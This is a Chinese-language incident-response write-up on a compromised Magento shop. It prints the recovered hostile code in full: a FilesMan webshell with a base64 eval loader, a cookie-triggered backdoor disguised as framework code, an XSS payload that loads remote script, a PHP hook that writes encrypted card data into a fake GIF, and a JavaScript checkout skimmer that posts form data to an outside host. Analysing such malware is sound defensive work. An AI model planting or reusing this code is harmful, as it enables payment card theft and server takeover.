基于Magento电商应用的后门分析排查

一、开篇

才发现已经很久没有做类似的分析和排查工作,自己也想练下手。文章主要是分享一些黑产的思路和技术。

二、概况

Magento算是最著名的电商框架,业务在上面做了二次开发,老系统是基于1.x版本的,已经找了国外著名的sucuri公司帮忙清理了后门,并且迁移升级到了Magento最新的2.x版本,不过后来发现问题还是没有解决。

三、分析

国内可能对Magento并不熟悉,这个框架国外是非常普遍的。

不过这次分析面临两个难题:

  • 老版本的Magento问题非常多,通过框架拿shell的方式也不少;
  • 环境已经被业务和其他公司破坏的差不多了;

当然,我们还是中规中矩来进行分析。

 主机层面分析

排查时确实发现了很多问题。不过本次的重点不在主机层面,不做过多的细述。

这里给大家一个tips:我通常在面试的时候会问类似的问题,很多候选人虽然对应急响应有一些了解,但是通常都会犯一个致命的错误,一上来就告诉我开始分析日志。

通常情况下,建议在分析之前,需要做几件事情:

  1. 核实信息
  2. 断掉外网
  3. 保存现场环境:端口网络、进程应用、日志文件。(不要有写操作,信息需要保存到本地)

现场的环境没有发现问题,大部分会环境已经被破坏了,不过发现history日志还在,看到了提权的痕迹,虽然从几个工具chkrootkit、rkthunter 和 lynis没扫出问题,不过还是建议业务直接换机器:

gcc -O2 rewritten_semtex.c
ls -l a.out
./a.out
ls /
cat re*
./a.out
dmesg | less
export TERM=xterm
dmesg|less

expect sh.exp
ls
whoami
ld

Web层面分析

Web层面的架构比较简单,看了下容器和中间件的版本,没有发现问题。通过应用日志、数据库和nginx日志,发现有好几波黑客,攻击方式都是针对Magento框架的漏洞。

业务的框架已经升级,目前的需求是恶意软件和后门清理,所以首要目的是定位恶意软件和后门

  • 君子善假于物也,Magento框架最著名的恶意软件扫描工具是mwscan(magento-malware-scanner) ;
  • 然后上了自己的小工具,对Webshell扫描了一遍;
  • 在分析Magento的时候,通常情况下框架的主题插件特性都会有些问题,Magento也不例外,通过缓存文件和数据库扫描还发现黑客通在数据库插入了攻击脚本和恶意软件;
  • 当然,为了保证业务安全性,最后干了一件体力活,下了同版本的magento,做了diff;同时还针对数据库进行了全库扫描,最终还是有所收获的,发现了恶意软件和攻击行为;

1 攻击和后门文件

发现了2类php后门,php的后门大家都比较熟悉,一个是大马FileMan:

$auth_pass = "63a9f0ea7bb98050796b649e85481845"; 
$color = "#df5"; 
$default_action = 'FilesMan'; 
$default_use_ajax = true; 
$default_charset = 'Windows-1251'; $xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0……"; 
eval(base64_decode("ZXZhbChiYX……")); 
return; 

另一个是比较隐蔽的小马,藏在框架文件的IndexController.php中,通过cookie传递,并且还有好几个变种:

class Mage_Cms_Auth_oxo
{
    public function __construct() {
	echo $auth_cookie;
        if ($auth_cookie) {
            $method = $auth_cookie(@$_COOKIE['pzexplmbmgdaluwz2']);
            $auth = $auth_cookie(@$_COOKIE['pzexplmbmgdaluwz1']);
            $method("/124/e",$auth,124);
        }
    }
}
$is_auth = new Mage_Cms_Auth_oxo;

$is_auth = new Mage_Cms_Auth_ibm;

经过数据库的扫描还发现了黑客利用了Magento管理员后台的一处XSS漏洞:

<script src=’http://mensprostatecancer.info/a.js’>;</script>”@a.net

2 恶意软件

国外的黑产的方式和国内不同,暗链挂马并不是主流,针对电商的主要目的就是盗取用户的信息,特别是信用卡,因为信用卡可以直接盗刷。

1) php+图片的暗度陈仓

比较传统盗取用户信息的思路一般是直接搞数据库,不过老外的在Web层面的思路是比较灵活的。参考一下代码:

    /**
     * Save customer session object
     *
     */
    public function saveSession() {
        $container = '/home/xxxx.gif';
        $dtime = filemtime($container);
        if (isset($_POST['payment']['cc_number'])) {
            $checkout = $this-&amp;gt;getQuote();
            $data['billing'] = $checkout-&amp;gt;getBillingAddress()-&amp;gt;getData();
            $data['payment'] = $_POST['payment'];
            file_put_contents($container, "\n".$this-&amp;gt;encryptSession(json_encode($data)), FILE_APPEND);
            touch($container, $dtime);
            touch(dirname($controller), $dtime);
        }
    }

    /**
     * Encrypt customer session data
     *
     * @param Mage_Customer_Model_Session $data
     */
    public function encryptSession($data) {
        $key = "-----BEGIN PUBLIC KEY-----\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMNCobb87UC/lJCPYFoAoXZcATqTYHEB\nMJcOElPqJeHWcyFmhzlhip8/WeisfKblYhaLT83g5fDfcUuxDM2VUBcCAwEAAQ==\n-----END PUBLIC KEY-----";
        if (function_exists('openssl_get_publickey') &amp;amp;&amp;amp; function_exists('openssl_public_encrypt') &amp;amp;&amp;amp; function_exists('openssl_encrypt')) {
            $pk = @openssl_get_publickey($key);
            $key = @openssl_random_pseudo_bytes(16);
            $edata = openssl_encrypt($data, 'aes128', $key);
            @openssl_public_encrypt($key, $ekey, $pk);
            return base64_encode($ekey.':::DATA:::'.$edata);
        } else {
            return false;
        }
    } 
}

我们来看一下黑客盗取数据的思路:简单来讲就是将用户的支付信息(包括账单、信用卡等信息)写入到一张gif图片中,随后黑客只需要定期查看图片就能获取这些信息。

不过这里面有些细节值得品味:

  1. 这段恶意代码插入到Session.php中,看了下Magento源码,发现黑客通过伪装进行了隐藏,这段利用代码的风格和Magento框架的源码基本相同相同;
  2. 黑客写入数据的图片使用了touch进行处理,修改了文件的时间,使得通过修改文件的时间是无法定位到这个图片文件的;
  3. 黑客不是简单暴力的直接将明文数据写入到图片中,而是通过了严格的加密方式,对内容进行AES加密,对AES的秘钥进行了RSA加密,这样除了黑客自己,其他人即便获取到图片内容,业务方破解里面的内容;
2)JavaScript暴力偷数据

很多人对JavaScript都了解,但是深度仅限于弹窗或者简单的绕过。所以他们可能对JavaScript的威力并不了解。JavaScript本质上是可以干很多事情的,深入过XSS研究的朋友一定不会太陌生,想要了解的朋友也可以了解一下BeEF。

言归正传,我们回归到这段恶意代码:

var bbe630ffb9de64d5501e1c649b8399308={
snd:null,
u323f0e146937ccbc60aa5e75f85d24ff:'https://web-rank.cc/js/jquery.min.js',
myid:(function(name){
var matches=document.cookie.match(new RegExp('(?:^|; )'+name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+'=([^;]*)'));
return matches?decodeURIComponent(matches[1]):undefined;
})('setidd')||(function(){
var ms=new Date();
var myid = ms.getTime()+"-"+Math.floor(Math.random()*(999999999-11111111+1)+11111111);
var date=new Date(new Date().getTime()+60*60*24*1000);
document.cookie='setidd='+myid+'; path=/; expires='+date.toUTCString();
return myid;
})(),
clk:function(){
bbe630ffb9de64d5501e1c649b8399308.snd=null;
var inp=document.querySelectorAll("input, select, textarea, checkbox, button");
for (var i=0;i&lt;inp.length;i++){ if(inp[i].value.length&gt;0){
var nme=inp[i].name;
if(nme==''){nme=i;}
bbe630ffb9de64d5501e1c649b8399308.snd+=inp[i].name+'='+inp[i].value+'&amp;';
}
}
},
send:function(){
try{
var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
for(var i=0;i&lt;btn.length;i++){
var b=btn[i];
if(b.type!='text'&amp;&amp;b.type!='select'&amp;&amp;b.type!='checkbox'&amp;&amp;b.type!='password'&amp;&amp;b.type!='radio'){
if(b.addEventListener) {
b.addEventListener('click',bbe630ffb9de64d5501e1c649b8399308.clk,false);
}else{
b.attachEvent('onclick',bbe630ffb9de64d5501e1c649b8399308.clk);
}
}
}
var frm=document.querySelectorAll('form');
for(vari=0;i&lt;frm.length;i++){
if(frm[i].addEventListener){
frm[i].addEventListener('submit',bbe630ffb9de64d5501e1c649b8399308.clk,false);
}else{
frm[i].attachEvent('onsubmit',bbe630ffb9de64d5501e1c649b8399308.clk);
}
}
if(bbe630ffb9de64d5501e1c649b8399308.snd!=null){
var domm=location.hostname.split('.').slice(0).join('_')  || 'nodomain';
var keym=btoa(bbe630ffb9de64d5501e1c649b8399308.snd);
var http=new XMLHttpRequest();
http.open('POST',bbe630ffb9de64d5501e1c649b8399308.u323f0e146937ccbc60aa5e75f85d24ff,true);
http.setRequestHeader('Content-type','application/x-www-form-urlencoded');
http.send('info='+keym+'&amp;hostname='+domm+'&amp;key='+bbe630ffb9de64d5501e1c649b8399308.myid);
}
bbe630ffb9de64d5501e1c649b8399308.snd=null;
keym=null;
setTimeout(function(){bbe630ffb9de64d5501e1c649b8399308.send()},30);
}catch(e){}
}
}
if((new RegExp('onepage|checkout|onestep|payment|transaction','gi')).test(window.location)){
bbe630ffb9de64d5501e1c649b8399308.send();
}

这段恶意代码简单粗暴,针对Magento支付相关页面(onepage|checkout|onestep|payment|transaction)中所有的表单信息,都搜集起来发送给黑客的服务器:https://web-rank.cc/js/jquery.min.js

3)隐藏到数据库

比较有意思的是,黑客在数据库core_config_data中也插入了一个恶意JavaScript文件,文件的代码功能和上述类似,该JavaScript文件会写入到design/footer/absolute_footer中,渲染框架所有的Web页面。

 总结

行文匆匆,比较乱。主要目的是分享一些黑产盗取数据的思路和技巧,扩大视野,希望对大家有所帮助。

去打赏

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注